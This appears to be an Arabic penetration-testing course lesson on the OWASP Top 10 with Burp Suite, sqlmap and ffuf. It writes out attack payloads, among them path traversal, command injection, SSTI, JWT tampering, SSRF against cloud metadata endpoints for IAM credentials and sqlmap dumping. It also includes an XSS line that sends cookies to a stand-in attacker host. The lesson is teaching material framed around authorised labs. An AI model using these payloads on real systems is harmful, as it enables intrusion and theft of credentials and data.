OWASP Top 10 — المفاهيم
الويب هو حيث يتداول المال. وهو أيضًا حيث يُحسَم 60 إلى 80 % من اختبار الاختراق. يقدّم OWASP Top 10 (إصدار 2021، مع إعادة صياغة 2024/2025 جارية) الفئات العشر من الثغرات التي تغطي جوهر الهجمات الحقيقية على الويب. هذا الأسبوع، لن نحفظها — سوف نفهم ما تستهدفه كل واحدة منها.
كل استغلال على الويب يتم داخل المختبر (Juice Shop، DVWA، WebGoat)، أو على هدف خاضع لـ RoE. تشغيل sqlmap على موقع طرف ثالث غير مصرَّح به هو عمل عدائي في جميع الولايات القضائية.
ما ستتقنه بعد هذا الدرس
- تحديد أي من الفئات العشر يجيب عن ملاحظة معيّنة على تطبيق.
- شرح منطق كل فئة في 30 ثانية.
- استخدام Burp Suite في الاعتراض + repeater + intruder.
- التمييز بين POC ودليل الأثر — الفرق الذي يصنع تقريرًا جيدًا.
- سلسلة عدة ثغرات لإظهار سلسلة هجوم حقيقية.
1. الـ Top 10 في جملة واحدة لكل فئة
احفظ المنطق، لا الرقم. الرقم يتغيّر في كل إصدار.
| # | الاسم المختصر | المنطق | مثال ملموس |
|---|---|---|---|
| A01 | كسر ضوابط الوصول | يسمح التطبيق بما يجب أن يمنعه. | يمكن لمستخدم عادي استدعاء /api/admin/users. |
| A02 | إخفاقات التشفير | البيانات الحساسة تنتقل أو تُخزَّن بحماية سيئة. | كلمات مرور بـ md5، HTTP بدل HTTPS، JWT موقّعة بضعف. |
| A03 | الحقن (Injection) | بيانات مستخدم تُنفَّذ كأنها شيفرة. | SQL injection، command injection، LDAP injection. |
| A04 | تصميم غير آمن | المنطق التجاري خاطئ منذ التصميم. | إعادة تعيين كلمة المرور بلا حد لعدد المحاولات، تسلسل أرقام يمكن تخمينه. |
| A05 | إعداد خاطئ | قيم افتراضية، وضع تصحيح الأخطاء (debug)، ترويسات مفقودة. | admin/admin، أخطاء مفصّلة، غياب X-Frame-Options. |
| A06 | مكوّنات ضعيفة | تبعية تحمل CVE ولم تُرقَّع. | log4j في الإصدار 2.14، openssl قديم، jQuery 1.4. |
| A07 | التعريف / المصادقة | جلسات ضعيفة، كلمات مرور ضعيفة، غياب MFA. | كوكي جلسة يمكن التنبؤ به، غياب القفل التلقائي، MFA اختيارية. |
| A08 | سلامة البرمجيات | سلسلة التوريد تسمح بمرور شيفرة غير مُتحقَّق منها. | npm install لحزمة مخترَقة، خط أنابيب CI بلا توقيع. |
| A09 | التسجيل / المراقبة | لا شيء يُسجَّل، لا شيء يُرى. | لا تنبيه على 10 000 محاولة مصادقة فاشلة. |
| A10 | SSRF (Server-Side Request Forgery) | يرسل الخادم طلبًا اختاره المهاجم. | استيراد صورة يقبل http://169.254.169.254/latest/meta-data/. |
تذكّر خاصة: A01، A03، A05، A07، A10. هذه ما نصادفه 70 % من الوقت.
2. الخمس التي يجب التعمّق فيها الآن
2.1. A01 — كسر ضوابط الوصول
عائلتان فرعيتان مسيئتان حقًا:
IDOR (Insecure Direct Object Reference) : معرّف الكائن يمكن التنبؤ به، والتطبيق لا يتحقق من أنه يخصّ المستخدم.
GET /api/users/1234/facture → فاتورتي، صحيح
GET /api/users/1235/facture → فاتورة عميل آخر (تسرّب)
Path traversal : يُمرَّر مسار ملف كمعامل، بترشيح سيّئ.
GET /telecharger?fichier=rapport.pdf
GET /telecharger?fichier=../../../etc/passwd
تسرّب رأسي للصلاحيات : يمكن لحساب مستخدم استدعاء نقطة نهاية مخصّصة للمسؤولين. نختبر ذلك بتغيير role: user إلى role: admin في JWT، أو باستدعاء نقطة نهاية /admin/* بحساب عادي.
2.2. A03 — الحقن
ملكة الهجمات. SQL، NoSQL، LDAP، أوامر النظام، القوالب، كل ما يمكن مزجه ببيانات المستخدم.
SQL injection بثلاث نكهات :
- In-band : البيانات المسروقة تخرج مباشرة في استجابة HTTP (
UNION SELECT). - Blind boolean : البيانات لا تظهر، لكن الاستجابة تتغيّر حسب صح/خطأ (
AND 1=1مقابلAND 1=0). - Blind time-based : نقيس زمن الاستجابة (
AND SLEEP(5))، خادم يستغرق 5 ثوانٍ إضافية يكون قد قيّم الشرط كصحيح.
Command injection : يُمرَّر معامل إلى system() بترشيح سيّئ.
POST /ping {"host": "example.com; cat /etc/passwd"}
Template injection (SSTI) : حديث جدًا. قالب من نوع Jinja2 أو Twig أو Handlebars يُقيّم تعبيرًا يتحكم فيه المستخدم.
{{ 7*7 }} → 49 → SSTI مؤكَّد
{{ ''.__class__.__mro__[1].__subclasses__() }} → 200 صنف Python
من هناك، نصل إلى subprocess ونحصل على RCE.
2.3. A05 — إعداد خاطئ
الأسهل استغلالًا، والأكثر شيوعًا.
- حسابات افتراضية (
tomcat:tomcat،admin:admin،weblogic/weblogic1). - صفحات تصحيح أخطاء في الإنتاج (
/actuator/env،/console،phpinfo.php). - سرد الدلائل (
Index of /) الذي يكشف ملفات.git، ونسخbackup.sql. - ترويسات HTTP غائبة (
Content-Security-Policy،X-Frame-Options،Strict-Transport-Security). - CORS متساهل أكثر مما ينبغي (
Access-Control-Allow-Origin: *+Allow-Credentials: true= كارثة).
2.4. A07 — المصادقة
ثلاث هجمات كلاسيكية:
Password spraying : نجرّب كلمة مرور واحدة فقط ضد عدد كبير من الحسابات. يتجنب القفل الفردي. يعمل عندما لا تفرض السياسة تعقيدًا قويًا.
nxc smb 10.10.10.12 -u users.txt -p Ete2025! --continue-on-success
Brute force على حساب واحد : عدة كلمات مرور ضد حساب واحد فقط. يُحجب بقفل مُهيَّأ جيدًا.
Credential stuffing : تسريب عام (Collection#1، إلخ) يُعاد استخدامه ضد موقع. الموظفون يعيدون استخدام كلماتهم، وغالبًا ما ينجح الأمر.
على JWT :
- هجوم
alg=none: نغيّر الخوارزمية في الترويسة ونحذف التوقيع. بعض المحلِّلات (parsers) سيّئة البرمجة تقبله. - هجوم حقن
kid: نتلاعب بـkidلتشير إلى مفتاح نتحكم فيه. - هجوم السر الضعيف : توقيع HMAC-256 بسر يمكن تخمينه (
secret،password،changeme).
2.5. A10 — SSRF
خادم التطبيق، داخليًا، لديه وصول إلى أشياء ليست لديك — بيانات وصف السحابة (metadata)، الخدمات الداخلية، localhost. الـ SSRF يجعلك تمرّ من خلاله.
الهدف رقم 1 على AWS/GCP/Azure : metadata endpoints.
http://169.254.169.254/latest/meta-data/ (AWS)
http://metadata.google.internal/ (GCP)
http://169.254.169.254/metadata/instance (Azure)
ما نستعيده : دور IAM المرتبط بالمثيل = بيانات اعتماد AWS مؤقتة. من هناك، aws sts get-caller-identity ثم ننظر إلى ما يحق للدور فعله.
نجاح SSRF على مثيل سحابي هو اللحظة التي تنقلب فيها المهمة — من موقع ويب إلى موطئ قدم على البنية التحتية.
3. Burp Suite — الأداة الأساسية للويب
يعترض Burp Suite حركة HTTP/HTTPS بين متصفحك والهدف. إنها سكين مختبِر الويب السويسرية.
الإعداد في دقيقتين
- تشغيل Burp Suite Community (مرفق مع Kali).
- Firefox ← Preferences ← Network ← HTTP Proxy ←
127.0.0.1:8080. - التنقل إلى
http://burpsuite← تنزيل شهادة CA الخاصة بـ Burp. - Firefox ← Certificates ← Import ← تفعيل خيار «Trust for websites».
- العودة إلى حركة عادية، HTTPS مفكوك التشفير داخل Burp.
الألسنة الأربعة الواجب حفظها عن ظهر قلب
| اللسان | ما يفعله |
|---|---|
| Proxy → Intercept | يلتقط كل طلب، يتيح لك تعديله قبل إرساله. |
| Proxy → HTTP history | سجل كل ما مرّ. رشِّح، ابحث، أعد القراءة. |
| Repeater | يرسل نفس الطلب بلا حدود، معدَّلًا في كل مرة. قلب اختبار الاختراق اليدوي. |
| Intruder | يرسل عشرات/آلاف الاختلافات بحمولات (payloads) معلمنة. |
سير العمل القياسي
- تصفّح التطبيق بشكل طبيعي، دع Burp يلتقط كل شيء.
- حدِّد طلبًا مثيرًا للاهتمام في HTTP history (نموذج اتصال، استدعاء API حسّاس، رابط بمعرّف يمكن التنبؤ به).
- أرسل إلى Repeater (نقر يمين ← Send to Repeater).
- عدّل معاملًا واحدًا في كل مرة. أرسل، اقرأ الاستجابة.
- إن أردت اختبار مئات المتغيرات (كلمات مرور، معرّفات، حمولات XSS)، أرسل إلى Intruder.
Intruder — نقطة إدراج واحدة في كل مرة
هجمات Intruder :
- Sniper : حمولة واحدة لكل طلب، على نقطة إدراج واحدة. تُستخدم 95 % من الوقت.
- Battering ram : نفس الحمولة مكرَّرة على عدة نقاط. نادر.
- Pitchfork : عدة قوائم، سحب متوازٍ. مفيد لزوج user:password.
- Cluster bomb : تركيبات ديكارتية لعدة قوائم. انتبه، تنفجر بسرعة (10 مستخدمين × 1000 كلمة مرور = 10 000 طلب).
4. sqlmap — عندما يتأكد حقن SQL
تُؤتمِت sqlmap استغلال حقن SQL. تُؤكِّد أولًا يدويًا في Burp، ثم تترك sqlmap تقوم بالعمل الشاق.
الأمر الأساسي :
sqlmap -u "http://cible/produits?id=42" --dbs
خيارات يجب معرفتها :
--cookie="session=abc123"— لاختبار خلف مصادقة.-r requete.txt— تمرير طلب POST كامل.--data="user=admin&pass=x"— معاملات POST مباشرة.--dbs— سرد قواعد البيانات.--tables -D <db>— سرد الجداول.--dump -T users -D app— تفريغ جدولusers.--os-shell— الحصول على شل نظام التشغيل إن كان الحقن يسمح بذلك.
انتبه : يستخرج --dump كل الأسطر. في اختبار اختراق خاضع لـ RoE، قيّد باستخدام --start=1 --stop=10 لعدم تجاوز بند «لا استخراج جماعي».
5. wfuzz / ffuf / gobuster — brute force على نقاط النهاية
يُخفي التطبيق /admin أو /backup أو /actuator؟ نُنفّذ brute force على المسارات.
# ffuf، الأسرع اليوم
ffuf -w /usr/share/wordlists/dirb/common.txt \
-u http://cible/FUZZ -mc 200,204,301,302,401,403
# gobuster، بديل
gobuster dir -u http://cible -w /usr/share/wordlists/dirb/common.txt
# ffuf على معاملات GET
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u http://cible/api/user?FUZZ=1
قوائم كلمات مرجعية :
SecLists— أفضل مجموعة (github.com/danielmiessler/SecLists).dirb،dirbuster— مرفقتان مع Kali.
6. المبدأ الذهبي: POC != الأثر
يثبت POC الثغرة. يُظهر دليل الأثر ما يمكن لمهاجم فعله بها.
مثال XSS :
- POC :
<script>alert(1)</script>— نافذة منبثقة. «إنه معطوب.» - الأثر :
<script>fetch('http://attaquant.local/'+document.cookie)</script>— كوكي الجلسة يُستَخرَج. «مهاجم يسرق جلسة المسؤول.»
مثال SSRF :
- POC :
?url=http://localhost:8080/— يعيد الخادم استجابة. «الخادم يرسل طلبات.» - الأثر :
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/— تستعيد دور IAM لـ AWS. «اختراق البنية التحتية السحابية.»
مثال حقن SQL :
- POC :
id=42' OR '1'='1— عدد أسطر مسترجَعة أكبر. «يوجد حقن.» - الأثر :
sqlmap --dump -T users -D app --stop=1— سجل واحد، بريد إلكتروني، تجزئة (hash). «استخراج قاعدة بيانات العملاء.»
تقرير بلا أثر، بمجرد POCs، هو تقرير بلا قيمة. هذا ما يميّز مختبِر اختراق عن ماسح آلي.
7. الأخطاء الواجب تجنبها
- تنفيذ
sqlmap --dumpقبل الحصول على RoE واضح بشأن الاستخراج. تجد نفسك مع قاعدة بيانات العملاء كاملة على قرصك. مشكلة RGPD، مشكلة تقرير، مشكلة ضمير. - البقاء عند
alert(1). سيرى العميل النافذة المنبثقة ويغلقها. يجب إظهار سرقة الجلسة أو الفعل المفروض قسرًا. - إهمال ترويسات HTTP. كوكي مثل
Cookie: PHPSESSID=1234abcdغير مدروس جيدًا قد يخفي علامةHttpOnly=false(يمكن لجافاسكريبت قراءة الكوكي) = XSS + سرقة جلسة فورية. - تشغيل Burp Intruder بـ 100 خيط على بيئة إنتاج. تتسبب في DoS للخدمة، وتخرق RoE.
- عدم التحقق من النتائج الإيجابية الكاذبة. قد تخطئ
sqlmap. تأكّد دائمًا يدويًا في Burp قبل إدراجه في التقرير.
8. ما يجب تذكّره
- عشر فئات، خمس منها يجب إتقانها كليًا (A01، A03، A05، A07، A10).
- Burp Suite هو أداتك الرئيسية — إتقان Repeater وIntruder.
sqlmapيؤكد، لا يحل محل الفهم.ffufيجد نقاط النهاية المخفية.- POC ≠ الأثر. أظهر الأثر دائمًا، لا الدليل التقني وحده أبدًا.
الدرس القادم: نأخذ OWASP Juice Shop، نُسقِط خمس ثغرات من الـ Top 10، ونكتب دليل أثر لكل واحدة منها.